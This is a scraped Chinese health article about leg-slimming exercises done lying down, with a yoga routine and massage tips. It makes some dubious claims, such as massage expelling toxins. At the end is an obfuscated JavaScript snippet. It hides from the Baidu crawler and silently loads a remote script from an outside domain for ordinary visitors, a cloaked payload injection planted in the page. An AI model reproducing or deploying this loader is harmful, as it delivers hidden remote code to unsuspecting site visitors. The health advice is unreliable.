当前位置:首页 > 减肥 > 运动减肥 > 正文

躺着怎么瘦腿呢

2017-04-21 15:13:06  来源:360常识网   热度:
导语:很多人在生活中比较懒散,平时都是躺着的,但是又害怕自己的身材在这个时候变得很胖,如果身体太胖了,那么人们就很不习惯,对自己的症状就

很多人在生活中比较懒散,平时都是躺着的,但是又害怕自己的身材在这个时候变得很胖,如果身体太胖了,那么人们就很不习惯,对自己的症状就很不满意,而身体肥胖的话穿衣服就会有感觉不唯美,对女性来说这个是损害自尊的一件事情,想要减肥,但是害怕运动,那么躺着如何来瘦腿呢?

拥有完美的身材是我们每个人都想要的,可是有时候事情并没有我们想象的那么好。很多人的身材都不成比例,就像很多人有大象腿一样。因此,下面就为大家介绍一下如何的瘦腿。

躺着瘦腿:

瘦腿的运动:一般看电视的时候不是坐着就是躺着,可以一条腿伸直,然而另一腿屈膝,脚掌撑放在那条腿的膝盖前。然后呼气的时候抬起那条伸直的腿,抬到能力所及的高度,保持姿势3秒即可。然后将绷直的脚面抬起来,脚尖朝上保持3秒,一开始坚持不了的姑娘,可以让膝盖贴着支撑中心的那只腿保持平衡。2-3的动作重复五遍以后,保持伸直那条腿的脚面用力绷直,上下晃动后,缓解腿部的压力。

运动减肥瑜伽

这一组运动减肥瑜伽主要是针对您的下半身进行的瘦身运动。首先,双腿并列站直,左脚向后迈开大大的一步。然后,臀部下压,使右大腿平行于地面,右小腿正好垂直于地面。左腿同样保持一个90度的直角,不过膝盖不可着地。当左腿感觉越来越酸,即将自动着地时,慢慢地站起来,左腿伸直后,即回归原位,向右腿靠拢。还是左脚向后,再坚持做9次。然后,换右脚向后,重复同样的动作,也做10次。

按摩是最直接最有效的腿部塑形方式,通过按摩刺激腿部的穴位,促进血液和淋巴循环,排出毒素、消除水肿,同时还可以通过刺激分布在双腿上的重要穴位调整荷尔蒙分泌。大家可以在晚上泡脚的时候多多按摩。

其实想要瘦腿的话方法是有很多的,在给自己瘦腿的时候要多动,多吃一些蔬菜和水果,多跑,吃了饭之后就要到路上慢跑,这样才有助于消化,还要多给自己吃不是很油腻的食物,这样的食物才不容易让身体变胖,想要躺着瘦腿的话就要坚持这些锻炼方法,这样才会有减肥效果。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}